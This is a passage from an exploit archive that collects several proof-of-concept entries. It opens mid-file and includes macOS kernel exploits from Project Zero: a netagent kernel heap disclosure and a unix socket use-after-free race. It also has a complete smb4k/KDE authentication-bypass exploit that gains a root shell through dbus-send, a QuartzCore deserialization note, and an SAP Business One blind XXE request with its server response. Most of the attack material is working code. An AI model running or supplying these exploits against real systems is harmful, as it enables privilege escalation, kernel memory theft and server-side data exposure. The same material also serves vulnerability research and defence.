                 MACH_SEND_MSG,
                 m.hdr.msgh_size,
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    printf(" [-] mach_msg failed with error code:%x\n", err);
    exit(EXIT_FAILURE);
  }
  printf(" [+] looks like that sent?\n");

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1140

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:

  static errno_t
  netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
                  u_int32_t payload_length)
  {
    int data_size = 0;
    struct netagent_wrapper *new_wrapper = NULL;
    u_int32_t response_error = 0;
    struct netagent *register_netagent = (struct netagent *)(void *)payload;   <----------- (a)

    if (session == NULL) {
      NETAGENTLOG0(LOG_ERR, "Failed to find session");
      response_error = EINVAL;
      goto done;
    }

    if (payload == NULL) {
      NETAGENTLOG0(LOG_ERR, "No payload received");
      response_error = EINVAL;
      goto done;
    }

    if (session->wrapper != NULL) {
      NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
      response_error = EINVAL;
      goto done;
    }

    if (payload_length < sizeof(struct netagent)) {                              <----------- (b)
      NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
            payload_length, sizeof(struct netagent));
      response_error = EINVAL;
      goto done;
    }

    data_size = register_netagent->netagent_data_size;
    if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) {                      <----------- (c)
      NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
            data_size);
      response_error = EINVAL;
      goto done;
    }

    MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
    if (new_wrapper == NULL) {
      NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
      response_error = ENOMEM;
      goto done;
    }

    memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
    memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size);   <------------ (d)

    response_error = netagent_handle_register_inner(session, new_wrapper);
    if (response_error != 0) {
      FREE(new_wrapper, M_NETAGENT);
      goto done;
    }

    NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
    netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

  done:
    return response_error;
  }


The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
*/

// ianbeer
#if 0
iOS/MacOS kernel memory disclosure due to lack of bounds checking in netagent socket option handling

netagent_ctl_setopt is the setsockopt handler for netagent control sockets. Options of type
NETAGENT_OPTION_TYPE_REGISTER are handled by netagent_handle_register_setopt. Here's the code:

	static errno_t
	netagent_handle_register_setopt(struct netagent_session *session, u_int8_t *payload,
									u_int32_t payload_length)
	{
		int data_size = 0;
		struct netagent_wrapper *new_wrapper = NULL;
		u_int32_t response_error = 0;
		struct netagent *register_netagent = (struct netagent *)(void *)payload;   <----------- (a)

		if (session == NULL) {
			NETAGENTLOG0(LOG_ERR, "Failed to find session");
			response_error = EINVAL;
			goto done;
		}

		if (payload == NULL) {
			NETAGENTLOG0(LOG_ERR, "No payload received");
			response_error = EINVAL;
			goto done;
		}

		if (session->wrapper != NULL) {
			NETAGENTLOG0(LOG_ERR, "Session already has a registered agent");
			response_error = EINVAL;
			goto done;
		}

		if (payload_length < sizeof(struct netagent)) {                              <----------- (b)
			NETAGENTLOG(LOG_ERR, "Register message size too small for agent: (%d < %d)",
						payload_length, sizeof(struct netagent));
			response_error = EINVAL;
			goto done;
		}

		data_size = register_netagent->netagent_data_size;
		if (data_size < 0 || data_size > NETAGENT_MAX_DATA_SIZE) {                      <----------- (c)
			NETAGENTLOG(LOG_ERR, "Register message size could not be read, data_size %d",
						data_size);
			response_error = EINVAL;
			goto done;
		}

		MALLOC(new_wrapper, struct netagent_wrapper *, sizeof(*new_wrapper) + data_size, M_NETAGENT, M_WAITOK);
		if (new_wrapper == NULL) {
			NETAGENTLOG0(LOG_ERR, "Failed to allocate agent");
			response_error = ENOMEM;
			goto done;
		}

		memset(new_wrapper, 0, sizeof(*new_wrapper) + data_size);
		memcpy(&new_wrapper->netagent, register_netagent, sizeof(struct netagent) + data_size);   <------------ (d)

		response_error = netagent_handle_register_inner(session, new_wrapper);
		if (response_error != 0) {
			FREE(new_wrapper, M_NETAGENT);
			goto done;
		}

		NETAGENTLOG0(LOG_DEBUG, "Registered new agent");
		netagent_post_event(new_wrapper->netagent.netagent_uuid, KEV_NETAGENT_REGISTERED, TRUE);

	done:
		return response_error;
	}


The payload and payload_length arguments are the socket option buffer which has be copied in to the kernel.

At (a) this is cast to a struct netagent and at (b) it's checked whether the payload is big enough to contain this structure.
Then at (c) an int read from the buffer is compared against a lower and upper bound and then used at (d) as the size of
data to copy from inside the payload buffer. It's not checked that the payload buffer is actually big enough to contain
data_size bytes of data though.

This oob data can then be retreived by userspace via the SIOCGIFAGENTDATA64 ioctl. This poc will dump 4k of kernel heap.

Tested on MacOS 10.12.3 (16D32) on MacBookPro10,1
#endif
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/kern_control.h>
#include <sys/sys_domain.h>
#include <net/if.h>
#include <netinet/in_var.h>
#include <netinet6/nd6.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int ctl_open(char* control_name) {
  int           sock;
  int           error     = 0;
  struct ctl_info     kernctl_info;
  struct sockaddr_ctl   kernctl_addr;

  sock = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);
  if (sock < 0) {
    printf("failed to open a SYSPROTO_CONTROL socket: %s\n", strerror(errno));
    goto done;
  }

  memset(&kernctl_info, 0, sizeof(kernctl_info));
  strlcpy(kernctl_info.ctl_name, control_name, sizeof(kernctl_info.ctl_name));

  error = ioctl(sock, CTLIOCGINFO, &kernctl_info);
  if (error) {
    printf("Failed to get the control info for control named \"%s\": %s\n", control_name, strerror(errno));
    goto done;
  }

  memset(&kernctl_addr, 0, sizeof(kernctl_addr));
  kernctl_addr.sc_len = sizeof(kernctl_addr);
  kernctl_addr.sc_family = AF_SYSTEM;
  kernctl_addr.ss_sysaddr = AF_SYS_CONTROL;
  kernctl_addr.sc_id = kernctl_info.ctl_id;
  kernctl_addr.sc_unit = 0;

  error = connect(sock, (struct sockaddr *)&kernctl_addr, sizeof(kernctl_addr));
  if (error) {
    printf("Failed to connect to the control socket: %s\n", strerror(errno));
    goto done;
  }

done:
  if (error && sock >= 0) {
    close(sock);
    sock = -1;
  }

  return sock;
}

#define NETAGENT_OPTION_TYPE_REGISTER 1
#define NETAGENT_DOMAINSIZE   32
#define NETAGENT_TYPESIZE   32
#define NETAGENT_DESCSIZE   128

struct netagent_req64 {
	uuid_t		netagent_uuid;
	char		netagent_domain[NETAGENT_DOMAINSIZE];
	char		netagent_type[NETAGENT_TYPESIZE];
	char		netagent_desc[NETAGENT_DESCSIZE];
	u_int32_t	netagent_flags;
	u_int32_t	netagent_data_size;
	uint64_t	netagent_data __attribute__((aligned(8)));
};

struct netagent {
	uuid_t		netagent_uuid;
	char		netagent_domain[NETAGENT_DOMAINSIZE];
	char		netagent_type[NETAGENT_TYPESIZE];
	char		netagent_desc[NETAGENT_DESCSIZE];
	u_int32_t	netagent_flags;
	u_int32_t	netagent_data_size;
	u_int8_t	netagent_data[0];
};

#define SIOCGIFAGENTDATA64    _IOWR('i', 168, struct netagent_req64)

int main(){
  int fd = ctl_open("com.apple.net.netagent");
  if (fd < 0) {
    printf("failed to get control socket :(\n");
    return 1;
  }
  printf("got a control socket! %d\n", fd);

  struct netagent na = {0};
  na.netagent_uuid[0] = 123;
  na.netagent_data_size = 4096;

  int err = setsockopt(fd,
                       SYSPROTO_CONTROL,
                       NETAGENT_OPTION_TYPE_REGISTER,
                       &na,
                       sizeof(na));
  if (err == -1) {
    perror("setsockopt failed");
    return 0;
  } else {
    printf("set the option!\n");
  }

  uint64_t* buf = malloc(4096);
  memset(buf, 0, 4096);

  struct netagent_req64 req = {0};
  req.netagent_uuid[0] = 123;
  req.netagent_data_size = 4096;
  req.netagent_data = (uint64_t)buf;


  err = ioctl(fd, SIOCGIFAGENTDATA64, &req);
  if (err == -1) {
    perror("get getinterface agent data failed");
  }else {
    printf("got something?\n");
    for (int i = 0; i < 4096/8; i++) {
      printf("%016llx\n", buf[i]);
    }
  }
  

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1123

unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.

Here's the relevant code:

  for (i = 0; i < newfds; i++) {     <----------- (a)
#if CONFIG_MACF_SOCKET
    /*
     * If receive access is denied, don't pass along
     * and error message, just discard the descriptor.
     */
    if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
      proc_fdunlock(p);
      unp_discard(rp[i], p);
      fds[i] = 0;
      proc_fdlock(p);
      continue;
    }
#endif
    if (fdalloc(p, 0, &f))
      panic("unp_externalize:fdalloc");
    fp = fileproc_alloc_init(NULL);
    if (fp == NULL)
      panic("unp_externalize: MALLOC_ZONE");
    fp->f_iocount = 0;
    fp->f_fglob = rp[i];
    if (fg_removeuipc_mark(rp[i]))
      fgl[i] = rp[i];
    else
      fgl[i] = NULL;
    procfdtbl_releasefd(p, f, fp);
    fds[i] = f;
  }
  proc_fdunlock(p);                <-------- (b)

  for (i = 0; i < newfds; i++) {
    if (fgl[i] != NULL) {
      VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
      fg_removeuipc(fgl[i]);      <--------- (c)
    }
    if (fds[i])
      (void) OSAddAtomic(-1, &unp_rights);
  }


The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.

At (b) the code then drops the process fd lock at which point other threads can access the fd table again.

At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).

Use zone poisoning for a reliable crasher.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 
*/

//ianbeer
//the ReadDescriptor and Write Descriptor functions are based on Apple sample code from: https://developer.apple.com/library/content/qa/qa1541/_index.html

#if 0
iOS/MacOS kernel uaf due to bad locking in unix domain socket file descriptor externalization

unp_externalize is responsible for externalizing the file descriptors carried within a unix domain socket message.
That means allocating new fd table entries in the receiver and recreating a file which looks looks (to userspace) like the file
the sender sent.

Here's the relevant code:

	for (i = 0; i < newfds; i++) {     <----------- (a)
#if CONFIG_MACF_SOCKET
		/*
		 * If receive access is denied, don't pass along
		 * and error message, just discard the descriptor.
		 */
		if (mac_file_check_receive(kauth_cred_get(), rp[i])) {
			proc_fdunlock(p);
			unp_discard(rp[i], p);
			fds[i] = 0;
			proc_fdlock(p);
			continue;
		}
#endif
		if (fdalloc(p, 0, &f))
			panic("unp_externalize:fdalloc");
		fp = fileproc_alloc_init(NULL);
		if (fp == NULL)
			panic("unp_externalize: MALLOC_ZONE");
		fp->f_iocount = 0;
		fp->f_fglob = rp[i];
		if (fg_removeuipc_mark(rp[i]))
			fgl[i] = rp[i];
		else
			fgl[i] = NULL;
		procfdtbl_releasefd(p, f, fp);
		fds[i] = f;
	}
	proc_fdunlock(p);                <-------- (b)

	for (i = 0; i < newfds; i++) {
		if (fgl[i] != NULL) {
			VERIFY(fgl[i]->fg_lflags & FG_RMMSGQ);
			fg_removeuipc(fgl[i]);      <--------- (c)
		}
		if (fds[i])
			(void) OSAddAtomic(-1, &unp_rights);
	}


The loop at a gets the fileglobs from the socket message buffer and allocates new fds in the receiver
and sets the fp->f_fglob fileglob pointer to point to the sent fg. After each new fd is allocated and initialized
the fd is released and associated with the new fp.

At (b) the code then drops the process fd lock at which point other threads can access the fd table again.

At (c) the code then removes each of the fileglobs from the list of in-transit fileglobs; however this list *doesn't*
hold an fg reference therefore there's nothing stopping the fg from getting free'd via another thread closing
the fd between (b) and (c).

Use zone poisoning for a reliable crasher.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 
#endif 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/uio.h>
#include <sys/socket.h>
#include <errno.h>
#include <assert.h>
#include <pthread.h>

static const char kDummyData = 'D';

static int ReadDescriptor(int fd, int *fdRead)
    // Read a descriptor from fd and place it in *fdRead.
    //
    // On success, the caller is responsible for closing *fdRead.
{
    int                 err;
    int                 junk;
    struct msghdr       msg;
    struct iovec        iov;
    struct {
        struct cmsghdr  hdr;
        int             fd;
    }                   control;
    char                dummyData;
    ssize_t             bytesReceived;

    // Pre-conditions

    assert(fd >= 0);
    assert( fdRead != NULL);
    assert(*fdRead == -1);

    // Read a single byte of data from the socket, with the assumption 
    // that this byte has piggybacked on to it a single descriptor that 
    // we're trying to receive. This is pretty much standard boilerplate 
    // code for reading descriptors; see <x-man-page://2/recv> for details.

    iov.iov_base = (char *) &dummyData;
    iov.iov_len  = sizeof(dummyData);

    msg.msg_name       = NULL;
    msg.msg_namelen    = 0;
    msg.msg_iov        = &iov;
    msg.msg_iovlen     = 1;
    msg.msg_control    = &control;
    msg.msg_controllen = sizeof(control);
    msg.msg_flags      = MSG_WAITALL;

    do {
        bytesReceived = recvmsg(fd, &msg, 0);
        if (bytesReceived == sizeof(dummyData)) {
            if ( (dummyData != kDummyData)
                || (msg.msg_flags != 0) 
                || (msg.msg_control == NULL) 
                || (msg.msg_controllen != sizeof(control)) 
                || (control.hdr.cmsg_len != sizeof(control)) 
                || (control.hdr.cmsg_level != SOL_SOCKET)
                || (control.hdr.cmsg_type  != SCM_RIGHTS) 
                || (control.fd < 0) ) {
                err = EINVAL;
            } else {
                *fdRead = control.fd;
                err = 0;
            }
        } else if (bytesReceived == 0) {
            err = EPIPE;
        } else {
            assert(bytesReceived == -1);

            err = errno;
            assert(err != 0);
        }
    } while (err == EINTR);

    assert( (err == 0) == (*fdRead >= 0) );

    return err;
}

static int WriteDescriptor(int fd, int fdToWrite)
    // Write the descriptor fdToWrite to fd.
{
    int                 err;
    struct msghdr       msg;
    struct iovec        iov;
    struct {
        struct cmsghdr  hdr;
        int             fd;
    }                   control;
    ssize_t             bytesSent;
    char                ack;

    // Pre-conditions

    assert(fd >= 0);
    assert(fdToWrite >= 0);

    control.hdr.cmsg_len   = sizeof(control);
    control.hdr.cmsg_level = SOL_SOCKET;
    control.hdr.cmsg_type  = SCM_RIGHTS;
    control.fd             = fdToWrite;

    iov.iov_base = (char *) &kDummyData;
    iov.iov_len  = sizeof(kDummyData);

    msg.msg_name       = NULL;
    msg.msg_namelen    = 0;
    msg.msg_iov        = &iov;
    msg.msg_iovlen     = 1;
    msg.msg_control    = &control;
    msg.msg_controllen = control.hdr.cmsg_len;
    msg.msg_flags      = 0;
    do {
        bytesSent = sendmsg(fd, &msg, 0);
        if (bytesSent == sizeof(kDummyData)) {
            err = 0;
        } else {
            assert(bytesSent == -1);

            err = errno;
            assert(err != 0);
        }
    } while (err == EINTR);

    return err;
}

char* filenames[10] = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j"};

void parent(int sock) {
  int f = 0;
  while(1) {
    char* filename = filenames[f];
    f++;
    f %= 10;
    int to_send = open(filename, O_CREAT|O_RDWR, 0644);
    
    int err = WriteDescriptor(sock, to_send);
    printf("err: %x\n", err);
    
    close(to_send);
  }
}

void* child_thread(void* arg) {
  while(1) {
    close(3);
  }
}

void child(int sock) {
  for (int i = 0; i < 10; i++) {
    pthread_t t;
    pthread_create(&t, NULL, child_thread, NULL);
  }
  while (1) {
    int received = -1;
    int err = ReadDescriptor(sock, &received);
    close(received);
  }
}

int main() {
  int socks[2];
  socketpair(PF_LOCAL, SOCK_STREAM, 0, socks);

  pid_t pid = fork();
  if (pid != 0) {
    close(socks[1]);
    parent(socks[0]);
    int wl;
    waitpid(pid, &wl, 0);
    exit(EXIT_SUCCESS);
  } else {
    close(socks[0]);
    child(socks[1]);
    exit(EXIT_SUCCESS);
  }
  return 0;
}
            
// cc -Wall smb0k.c -pedantic -std=c11
//
// smb4k PoC, also demonstrating broader scope of a generic kde
// authentication bypass vulnerability
//
// (C) 2017 Sebastian Krahmer
//

#define _POSIX_C_SOURCE 200112L
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>


void die(const char *s)
{
	perror(s);
	exit(errno);
}


int main(int argc, char **argv)
{
	char me[1024] = {0};
	char *dbus[] = {
		"/usr/bin/dbus-send",
		"--system",
		"--print-reply",
		"--dest=net.sourceforge.smb4k.mounthelper",
		"/",
		"org.kde.auth.performActions",
		"array:byte:"
// The variant map, containing evil mh_command key-pair
"0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74,"
"0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65,"
"0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73,"
"0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f,"
"0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70,"
"0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,"
"0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72,"
"0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,"
"0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,"
"0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d,"
"0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36,"
"0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35,"
"0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00,"
"0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,"
"0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00,"
"0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00,"
"0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02,"
"0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75,"
"0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,"
"0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69,"
"0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c,"
"0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30,"
"0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34,"
"0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66,"
"0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73,"
"0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76,"
"0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63,"
"0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74,"
"0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72,"
"0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e,"
"0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c,"
"0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e,"
"0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d,"
"0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69,"
"0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00,"
"0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00,"
"0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,"
"0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,"
"0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,"
"0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,"
"0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,"
"0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00,"
"0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74,"
"0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75,"
"0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73",

// the callerID, ":1.0" which is dbus itself and thus always passes
"array:byte:58,49,46,48", NULL};

	char *boomsh = "/tmp/xmount.cifs";
	char *const sh[] = {me, "shell", NULL};
	char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
	struct stat st;
	int fd = -1;

	if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
		die("[-] readlink");

	if (geteuid() == 0) {
		setuid(0);
		setgid(0);
		if (argc == 2) {
			execve(*bash, bash, NULL);
			die("[-] execve of bash");
		}
		chown(me, 0, 0);
		chmod(me, 04755);
		exit(0);
	}

	printf("[*] Creating shellscript ...\n");
	unlink(boomsh);
	if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0)
		die("[-] open");
	write(fd, "#!/bin/sh\n", 10);
	write(fd, me, strlen(me));
	write(fd, "\n", 1);
	close(fd);

	printf("[*] Triggering call...\n");

	if (fork() == 0) {
		execve(*dbus, dbus, NULL);
		exit(1);
	}
	wait(NULL);
	sleep(5);
	printf("[*] Trying to find rootshell...\n");

	memset(&st, 0, sizeof(st));
	stat(me, &st);
	if ((st.st_mode & 04000) != 04000)
		die("[-] Failed to chmod ourselfs.\n");

	execve(me, sh, NULL);
	return 0;
}
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1175

CAMediaTimingFunctionBuiltin is a class in QuartzCore. Its initWithCoder: method
reads an Int "index" then passes that to builtin_function

  mov     ebx, edi <-- controlled unsigned int
  mov     r14d, ebx
  lea     r15, __ZL9functions_0 ; functions
  mov     rax, [r15+r14*8]

if rax is non-null it's returned as an objective-c object pointer and the objective-c retain
selector is sent to it.

Serialized poc in attached file with an index of 12345678.

tested on MacOS 10.12.3 (16D32)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42052.zip
            
Exploit Title: Blind XXE (XML External Entity)in SAP
Date of Disclosure: 17/05/2017
Author: Ravindra Singh Rathore
Vendor Homepage: https://www.sap.com/products/business-one.html
Product - SAP Business One Android Application
Version - 1.2.3
Security Note: 2378065
CVE - CVE-2016-6256
CVSS - 6.5 

XXE - An XML External Entity(XXE) attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

SAP Business One Android Application is vulnerable to XXE. A remote attacker could exploit this vulnerability to expose highly sensitive information from servers.


1) HTTP Request Response
**************************************************************************

POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
Content-Type: text/xml; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
Host: b1hmobile.tdc.sap.com:8443
Connection: close
Accept-Encoding: gzip
Cookie: JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3; JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3
Content-Length: 493

<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "https://live.com" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>




HTTP/1.1 500 Internal Server Error
Date: Wed, 18 May 2016 07:01:33 GMT
Server: 
X-FRAME-OPTIONS: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/xml
Content-Length: 5566
Connection: close

<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring>Server Error</faultstring><detail><xci:reason xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">Connection timed out: connect</xci:reason><xci:tid xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">16051808473007955376AC106B972823</xci:tid><xci:exception xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect</xci:exception><xci:callStack xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
